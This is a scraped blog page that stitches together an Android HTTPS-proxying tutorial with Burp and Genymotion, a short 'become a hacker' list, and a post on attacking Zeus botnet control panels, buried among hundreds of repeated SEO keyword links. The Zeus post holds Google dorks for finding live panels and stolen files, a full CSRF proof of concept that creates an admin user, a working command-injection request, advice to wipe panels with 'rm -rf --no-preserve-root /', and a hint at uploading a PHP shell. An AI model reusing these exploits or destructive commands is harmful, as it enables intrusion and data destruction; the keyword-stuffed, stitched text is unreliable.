Isnin, Mei 29, 2023

Proxying Newer Versions Of Android With Genymotion

 I did a quick video last night for someone on proxying the newer version of Android SDK with Genymotion as the changes back in version 7 make it a bit more difficult to proxy https traffic and I get a lot of questions on a regular basis even years later... 

Hopefully this video helps anyone else out that may be running into the same troubles.. This is proxying the latest version of android as of this writing which is version 10 but should work just fine on newer versions unless there is a major change in the future again that specifically restricts this method.. 


Mobile Hacking - Proxying Newer Versions of Android with Burp and Genymotion:




You can follow along with the video but additionally for reference below are the commands used: 



Step 1: Create a Burp Cert for Android

  1. Export the certificate from burp to .DER format via the proxy tab import/export

  2. Change the format from der to pem: 

       openssl x509 -inform DER -in cacert.der -out cacert.pem


  3. Pull the hash of the certificate subject name and rename the cert to the hah.0 format: 

       openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1

       mv cacert.pem <hash>.0


Step 2: Create a new Emulator: 

  1. Create a version 10 Galaxy x10 with bridge mode networking (or whatever newest version required)

  2. Click 3 dots under my installed devices in genymotion --> Edit --> Change to bridged mode


Step 3: Setup certificate on device

  1. Check devices and push the certificate to the SD card: 

     adb devices

     adb push <hash.0> /sdcard/


  2. Connect to the device and install the cert with proper permissions: 

     adb remount

     adb shell

     mv /sdcard/<hash.0> /system/etc/security/cacerts/

     chmod 644 /system/etc/security/cacerts/<hash.0>


  3. Reboot the device: 

     reboot


Step 4: Verify and setup the proxy: 

  1. Settings --> search for Trusted --> Scroll down till you see portswigger

  2. Setup your Burp proxy to the correct IP/Port combo of your external interface IP

  3. In Genymotion click Settings --> wifi  --> Gear -> Pencil Icon -> Add in Proxy info under advanced

  4. Go forth and proxy things

More info
  1. Hak5 Tools
  2. New Hack Tools
  3. Hack Tools For Games
  4. Hacker Tools Apk Download
  5. Hacking Tools For Windows
  6. New Hack Tools
  7. Hack Tools For Mac
  8. Hak5 Tools
  9. Hacking Tools For Pc
  10. Pentest Tools For Mac
  11. Pentest Tools For Android
  12. Hacking Tools Windows 10
  13. Hacker Tools For Pc
  14. Hack Website Online Tool
  15. Hacker Tools
  16. Pentest Tools Windows
  17. Hacking Tools For Windows Free Download
  18. Pentest Tools Windows
  19. Tools 4 Hack
  20. Termux Hacking Tools 2019
  21. Hacker Tools For Windows
  22. Hack Tools
  23. Pentest Tools Apk
  24. Pentest Tools Windows
  25. Hacker Search Tools
  26. Hacking Tools Hardware
  27. Hack Tools For Windows
  28. Tools Used For Hacking
  29. Hack Tools Online
  30. Hacking Tools For Kali Linux
  31. Hacking Tools Pc
  32. Hack Tools For Mac
  33. Pentest Tools Bluekeep
  34. Pentest Tools Review
  35. Hacking Tools Windows
  36. Computer Hacker
  37. Hack Tools For Ubuntu
  38. Hacking Tools For Kali Linux
  39. Pentest Tools Website Vulnerability
  40. Hacker Tools Free Download
  41. Hacker Tools For Mac
  42. Hacking Tools Name
  43. Hacker Tools List
  44. Hacker Tools Online
  45. Hacker Techniques Tools And Incident Handling
  46. Hacker Tools 2020
  47. Hacking Tools For Windows Free Download
  48. Pentest Tools Subdomain
  49. Pentest Tools Website Vulnerability
  50. Nsa Hack Tools
  51. Termux Hacking Tools 2019
  52. Hacking Tools For Kali Linux
  53. Hack Tools For Windows
  54. Pentest Tools Github
  55. Tools For Hacker
  56. Hacking Tools Pc
  57. Nsa Hacker Tools
  58. What Are Hacking Tools
  59. Hacker Tools For Ios
  60. Install Pentest Tools Ubuntu
  61. Hack App
  62. Hacker
  63. Hacker Tools List
  64. World No 1 Hacker Software
  65. Hacker Tool Kit
  66. Pentest Box Tools Download
  67. Pentest Tools Download
  68. Hacking Tools Free Download
  69. Tools Used For Hacking
  70. Best Hacking Tools 2020
  71. How To Hack
  72. Hacking Tools For Games
  73. What Are Hacking Tools
  74. Hacker Tools Free Download
  75. Hacking Tools 2019
  76. Hacking Tools 2020
  77. Hack Rom Tools
  78. Pentest Tools For Android
  79. New Hacker Tools
  80. Hacking Tools 2020
  81. Hacking Tools Online
  82. Pentest Box Tools Download
  83. Best Hacking Tools 2019
  84. Tools 4 Hack
  85. Hack Tool Apk
  86. Pentest Recon Tools
  87. Hacking Tools For Windows Free Download
  88. Hacks And Tools
  89. Hacking Tools 2019
  90. Hack Tools For Windows
  91. Free Pentest Tools For Windows
  92. Hacking Tools Name
  93. Pentest Tools For Ubuntu
  94. Hacker
  95. Hacking Tools Kit
  96. Hack Tools For Windows
  97. Hak5 Tools
  98. Hack Tools For Games
  99. Pentest Tools
  100. Hack Tool Apk
  101. Hack Apps
  102. World No 1 Hacker Software
  103. Computer Hacker
  104. Pentest Tools Nmap
  105. Hacker Tools Github
  106. Best Hacking Tools 2019
  107. What Is Hacking Tools
  108. Tools For Hacker
  109. Pentest Tools For Ubuntu
  110. Pentest Tools Subdomain
  111. Hacking Tools For Mac
  112. Hacker Tools Mac
  113. Pentest Automation Tools
  114. Game Hacking
  115. Pentest Recon Tools
  116. Hack Tools Github
  117. Pentest Tools Windows
  118. New Hacker Tools
  119. Hacker Tools Online
  120. Pentest Automation Tools
  121. Hack Tool Apk No Root
  122. Pentest Tools Tcp Port Scanner
  123. Hack Tools Online
  124. Hack Apps
  125. Hacking Tools For Mac

HOW TO BECOME A CERTIFIED ETHICAL HACKER

7 Tips to become a hacker?
It is very important for a hacker to learn different types of programming language such as C,C++,Python,Java,PHP etc and it is also necessary to learn hardware and networking for a good hacker because these skill are very useful to become a successful hacker.

1-Programming Language are essential to becoming a good hacker 

2-Networking skills is important to becoming an effective hacker.

3-SQL language are essential to becoming an effective hacker 

4-Internet surfing is also essential for becoming a hacker for gathering information.

5-Cryptography is essential to becoming a certified hacker from which a hacker can share his/her readable data to other person in a nonreadable form with the help of Cryptography.

6-Penetration testing  is also important for a hacker.

7-experiment a lot is also very useful to becoming a ethical hacker.

Follow me on insta_anoymous_adi

Continue reading


  1. Wifi Hacker Tools For Windows
  2. Hack Tools For Windows
  3. Hacker Hardware Tools
  4. Github Hacking Tools
  5. Wifi Hacker Tools For Windows
  6. Hack Tools For Ubuntu
  7. Physical Pentest Tools
  8. What Is Hacking Tools
  9. Hacker Tools For Windows
  10. Termux Hacking Tools 2019
  11. Hacker Tools Windows
  12. Hack Tool Apk No Root
  13. Free Pentest Tools For Windows
  14. Hacking Tools For Kali Linux
  15. Blackhat Hacker Tools
  16. Hacking Tools 2019
  17. Hacker Tools 2020
  18. Hacking Tools For Pc
  19. Hacking Tools For Pc
  20. Hacker Tools Free Download
  21. Hack Tools Mac
  22. Hacking Tools Download
  23. Pentest Tools
  24. Hacker Tool Kit
  25. Hacker Techniques Tools And Incident Handling
  26. Hacker Tools Online
  27. Free Pentest Tools For Windows
  28. Pentest Automation Tools
  29. Hack Tool Apk No Root
  30. Pentest Tools Android
  31. Hacks And Tools
  32. Best Hacking Tools 2020
  33. Ethical Hacker Tools
  34. Usb Pentest Tools
  35. Growth Hacker Tools
  36. Pentest Tools Online
  37. Hacking Tools Name
  38. Pentest Tools Online
  39. What Is Hacking Tools
  40. Hack Apps
  41. Pentest Tools Free
  42. What Is Hacking Tools
  43. Black Hat Hacker Tools
  44. New Hacker Tools
  45. Pentest Tools Framework
  46. Hacks And Tools
  47. Pentest Automation Tools
  48. Hacking Tools Github
  49. Hacking Tools For Windows
  50. Hacking Tools
  51. Hacking Tools Mac
  52. Hacking App
  53. Hack Tools For Pc
  54. Hacker Tools Apk Download
  55. Bluetooth Hacking Tools Kali
  56. Hack Tools
  57. Hacker Tools Github
  58. Pentest Tools Framework
  59. Hacking Tools Online
  60. Hack And Tools
  61. Pentest Tools
  62. Hacking Tools 2020
  63. Pentest Tools Apk
  64. Pentest Tools For Windows
  65. Pentest Tools For Windows
  66. Hacking Tools Windows 10
  67. Hack App
  68. Hacking Tools Usb
  69. Hacker Security Tools
  70. Best Hacking Tools 2020
  71. Hackrf Tools
  72. Easy Hack Tools
  73. Hacker Tools For Pc
  74. Hacking Tools Usb
  75. Hack Tools Mac
  76. New Hacker Tools
  77. Hacking Tools Hardware
  78. Computer Hacker
  79. Hacking Tools 2020
  80. How To Hack
  81. Physical Pentest Tools
  82. Hacker Tools Linux
  83. Hacker Tools Online
  84. Hack Tools Online
  85. Pentest Tools Tcp Port Scanner
  86. Hack Website Online Tool
  87. Hack Tools 2019
  88. Black Hat Hacker Tools
  89. Hack Tool Apk
  90. Pentest Tools For Windows
  91. Install Pentest Tools Ubuntu
  92. Hacking Tools Mac
  93. Bluetooth Hacking Tools Kali
  94. Easy Hack Tools
  95. Hacker Tools For Windows
  96. Growth Hacker Tools
  97. How To Make Hacking Tools
  98. How To Make Hacking Tools
  99. Hacker Tools Hardware
  100. Hack App
  101. Github Hacking Tools
  102. Wifi Hacker Tools For Windows
  103. Hacking Tools Github
  104. Hacking App
  105. Hacking Tools For Windows 7
  106. Hacker Tools Apk Download
  107. Hacking Tools Hardware
  108. Pentest Tools
  109. Pentest Automation Tools
  110. Pentest Tools For Ubuntu
  111. Hack Website Online Tool
  112. Hacking Tools
  113. Hack Tools Download
  114. Best Hacking Tools 2019
  115. Hack Tools Mac
  116. Pentest Tools Tcp Port Scanner
  117. Pentest Box Tools Download
  118. Hacker Search Tools
  119. Kik Hack Tools
  120. Pentest Tools Linux
  121. What Is Hacking Tools
  122. Nsa Hacker Tools
  123. Hacking Tools Software
  124. Hack And Tools
  125. Hacking Tools For Windows
  126. Hacking Tools For Mac
  127. Physical Pentest Tools
  128. Hack Tools 2019
  129. Pentest Tools List
  130. Hacking Tools For Kali Linux
  131. Hacker Tools List
  132. Beginner Hacker Tools
  133. Android Hack Tools Github
  134. Termux Hacking Tools 2019
  135. Pentest Tools Subdomain
  136. Pentest Box Tools Download
  137. Game Hacking
  138. How To Install Pentest Tools In Ubuntu
  139. Hacking Tools Windows 10
  140. What Is Hacking Tools
  141. Github Hacking Tools
  142. Pentest Tools Website
  143. Hack Tools Mac
  144. Physical Pentest Tools
  145. Usb Pentest Tools
  146. Hacking Tools Download

Ahad, Mei 28, 2023

Attacking Financial Malware Botnet Panels - Zeus

I played with leaked financial malware recently. When I saw these panels are written in PHP, my first idea was to hack them. The results are the work of one evening, please don't expect a full pentest report with all vulns found :-)

The following report is based on Zeus 2.0.8.9, which is old, but I believe a lot of Zeus clones (and C&C panels) depend on this code.

First things first, here are some Google dorks to find Zeus C&C server panel related stuff:
  • inurl:cp.php?m=login - this should be the login to the control panel
  • inurl:_reports/files  - in these folders you can find the stolen stuff, pretty funny if it gets indexed by Google
  • inurl:install/index.php - this should be deleted, but I think this is useless now.


Boring vulns found

Update: You can use the CSRF to create a new user with admin privileges:
<html> <head>     <title></title> </head> <body>     <pre>   This is a CSRF POC to create a new admin user in Zeus admin panels.   Username: user_1392719246 Password: admin1   You might change the URL from 127.0.0.1.   Redirecting in a hidden iframe in <span id="countdown">10</span> seconds.   </pre> <iframe id="csrf-frame" name="csrf-frame" style="display: none;"></iframe>     <form action="http://127.0.0.1/cp.php?m=sys_users&amp;new" id="csrf-form" method="post" name="csrf-form" target="csrf-frame">  <input name="name" type="hidden" value="user_1392719246" />   <input name="password" type="hidden" value="admin1" />   <input name="status" type="hidden" value="1" />   <input name="comment" type="hidden" value="PWND!" />  <input name="r_botnet_bots" type="hidden" value="1" />   <input name="r_botnet_scripts" type="hidden" value="1" />   <input name="r_botnet_scripts_edit" type="hidden" value="1" />   <input name="r_edit_bots" type="hidden" value="1" />   <input name="r_reports_db" type="hidden" value="1" />   <input name="r_reports_db_edit" type="hidden" value="1" />   <input name="r_reports_files" type="hidden" value="1" />  <input name="r_reports_files_edit" type="hidden" value="1" />  <input name="r_reports_jn" type="hidden" value="1" />   <input name="r_stats_main" type="hidden" value="1" />   <input name="r_stats_main_reset" type="hidden" value="1" />   <input name="r_stats_os" type="hidden" value="1" />   <input name="r_system_info" type="hidden" value="1" />   <input name="r_system_options" type="hidden" value="1" />  <input name="r_system_user" type="hidden" value="1" />   <input name="r_system_users" type="hidden" value="1" />     </form> <script type="text/javascript">  window.onload=function(){    var counter = 10;   var interval = setInterval(function() {    counter--;    document.getElementById('countdown').innerHTML = counter;    if (counter == 0) {     redirect();     clearInterval(interval);    }   }, 1000);  };     function redirect() {   document.getElementById("csrf-form").submit();     }     </script> </body> </html> 
  • MD5 password - the passwords stored in MySQL are MD5 passwords. No PBKDF2, bcrypt, scrypt, salt, whatever. MD5.
  • ClickJacking - really boring stuff
  • Remember me (MD5 cookies) - a very bad idea. In this case, the remember me function is implemented in a way where the MD5 of the password and MD5 of the username is stored in a cookie. If I have XSS, I could get the MD5(password) as well.
  • SQLi - although concatenation is used instead of parameterized queries, and addslashes are used, the integers are always quoted. This means it can be hacked only in case of special encoding like GB/Big5, pretty unlikely.

Whats good news (for the C&C panel owners)


The following stuff looks good, at least some vulns were taken seriously:
  • The system directory is protected with .htaccess deny from all.
  • gate.php - this is the "gate" between the bots and the server, this PHP is always exposed to the Internet. The execution of this PHP dies early if you don't know the key. But you can get the key from the binary of this specific botnet (another URL how to do this). If you have the key, then you can fill the database with garbage, but that's all I can think of now.
  • Anti XSS: the following code is used almost everywhere
  • return htmlspecialchars(preg_replace('|[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]|u', ' ', $string), ENT_QUOTES, 'UTF-8');
    My evil thought was to inject malicious bot_id, but it looks like it has been filtered everywhere. Sad panda.

What's really bad news (for the C&C panel owners)


And the best vuln I was able to find, remote code execution through command injection (happy panda), but only for authenticated users (sad panda).

The vulnerable code is in system/fsarc.php:

function fsarcCreate($archive, $files){    ...    $archive .= '.zip';    $cli = 'zip -r -9 -q -S "'.$archive.'" "'.implode('" "', $files).'"';    exec($cli, $e, $r); }

The exploit could not be simpler:
POST /cp.php?m=reports_files&path= HTTP/1.1 ... Content-Type: application/x-www-form-urlencoded Content-Length: 60  filesaction=1&files%5B%5D=files"||ping%20-n%2010%20127.0.0.1 
because the zip utility was not found on my Windows box. You can try to replace || with && when attacking Windows (don't forget to URL encode it!), or replace || with ; when attacking Linux. You can also link this vulnerability with the CSRF one, but it is unlikely you know both the control panel admin, and the control panel URLs. Or if this is the case, the admin should practice better OPSEC :)
Recommendation: use escapeshellcmd next time.

Next time you find a vulnerable control panel with a weak password, just rm -rf --no-preserve-root / it ;-)

That's all folks!
Special greetz to Richard (XAMPP Apache service is running as SYSTEM ;-) )

Update: Looks like the gate.php is worth to investigate if you know the RC4 key. You can upload a PHP shell :)
Related news

LEGALITY OF ETHICAL HACKING

Why ethical hacking?
Legality of Ehical Hacking
 
Ethical hacking is legal if the hacker abides by the rules stipulated in above section on the definition of ethical hacking.

Ethical hacking is not legal for black hat hackers.They gain unauthorized access over a computer system or networks for money extortion.

More info


  1. Pentest Tools Alternative
  2. Hack Tools Mac
  3. Hacker Security Tools
  4. Hacking Tools For Windows 7
  5. Hacking Tools Download
  6. Pentest Tools Android
  7. Hack Apps
  8. Pentest Tools Website Vulnerability
  9. Easy Hack Tools
  10. Hacker Tools For Mac
  11. Hack Tools Download
  12. Hacking Tools Software
  13. Ethical Hacker Tools
  14. Hacking Tools Mac
  15. Computer Hacker
  16. Hack Tools Mac
  17. Hacker Tools Windows
  18. Best Hacking Tools 2019
  19. Hack Apps
  20. Hacker Techniques Tools And Incident Handling
  21. Growth Hacker Tools
  22. Hacker Tool Kit
  23. Hacker Tools Online
  24. Hack And Tools
  25. Pentest Tools Find Subdomains
  26. Pentest Tools Review
  27. How To Make Hacking Tools
  28. Beginner Hacker Tools
  29. Hack Tools Pc
  30. Tools For Hacker
  31. Hacking Tools For Beginners
  32. Hacking Tools For Kali Linux
  33. Hacking Tools For Kali Linux
  34. Blackhat Hacker Tools
  35. Best Pentesting Tools 2018
  36. Hacking Tools 2019
  37. Hacker Hardware Tools
  38. Pentest Tools Bluekeep
  39. Pentest Reporting Tools
  40. Hacking Tools Windows
  41. Hacking Tools For Windows Free Download
  42. Pentest Tools Subdomain
  43. Nsa Hacker Tools
  44. Hacker Tools For Mac
  45. Hacking Tools Free Download
  46. Hack Tools Github
  47. Hack Tools
  48. Hacking Tools And Software
  49. Hack Tools
  50. Pentest Tools Kali Linux
  51. Hacker Tools List